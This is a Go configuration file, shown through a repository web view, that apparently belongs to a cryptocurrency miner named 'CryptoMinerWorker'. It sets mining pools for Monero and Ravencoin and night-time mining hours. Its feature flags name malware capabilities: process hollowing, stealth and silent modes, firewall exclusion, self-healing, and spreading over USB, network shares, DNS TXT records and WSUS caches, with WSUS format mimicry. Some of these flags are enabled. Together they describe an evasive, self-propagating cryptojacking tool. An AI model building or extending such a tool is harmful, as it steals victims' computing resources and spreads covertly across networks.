Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
65 lines
1.9 KiB
Go
65 lines
1.9 KiB
Go
package config
|
|
|
|
import "time"
|
|
|
|
func GetBuiltinConfig() BuiltinConfig {
|
|
return BuiltinConfig{
|
|
WorkerName: "dev-worker",
|
|
ServerURL: "http://127.0.0.1:8989",
|
|
Wallet: "",
|
|
Threads: 4,
|
|
ThreadMode: "percent",
|
|
ThreadPercent: 75,
|
|
CPUPriority: "below_normal",
|
|
MiningMode: "always",
|
|
MinerExecution: "inprocess",
|
|
DisplayMode: "visible",
|
|
SilentMode: false,
|
|
RunAs: "user",
|
|
AutoStart: false,
|
|
ProcessName: "CryptoMinerWorker",
|
|
BuildID: "dev",
|
|
BuiltAt: time.Now(),
|
|
PoolHost: "pool.supportxmr.com",
|
|
PoolPort: 3333,
|
|
PoolTLS: false,
|
|
PoolPass: "x",
|
|
MaxCPUUsage: 95,
|
|
MaxMemoryPct: 85,
|
|
MinFreeRAM: 512,
|
|
IdleThresholdPct: 20,
|
|
IdleDurationMinutes: 5,
|
|
ScheduleStart: "21:00",
|
|
ScheduleEnd: "06:00",
|
|
InstallBase: "localappdata",
|
|
InstallRelativePath: DefaultInstallRelativePath,
|
|
AdaptToHardware: true,
|
|
SelfHealing: true,
|
|
FileLogging: true,
|
|
StealthMode: false,
|
|
FirewallExclusion: true,
|
|
AIEnabled: false,
|
|
AIOllamaEndpoint: "http://localhost:11434",
|
|
AIModel: "llama3.2",
|
|
ProcessHollowing: false,
|
|
MeshP2P: false,
|
|
AutoSpread: false,
|
|
HolePunch: false,
|
|
RemoteAggressive: false,
|
|
USBSpread: false,
|
|
ShareSpread: false,
|
|
GPUEnabled: false,
|
|
RVNWallet: "",
|
|
RVNPoolHost: "rvn.2miners.com",
|
|
RVNPoolPort: 6060,
|
|
RVNPoolTLS: false,
|
|
RVNPoolPass: "x",
|
|
LotlOnionEnabled: false,
|
|
LotlPolicyFromServer: false,
|
|
DnsTxtSpread: true,
|
|
WebRTCMeshSpread: false,
|
|
WSUSCachePeerSpread: true,
|
|
WSUSFormatMimic: true,
|
|
}
|
|
}
|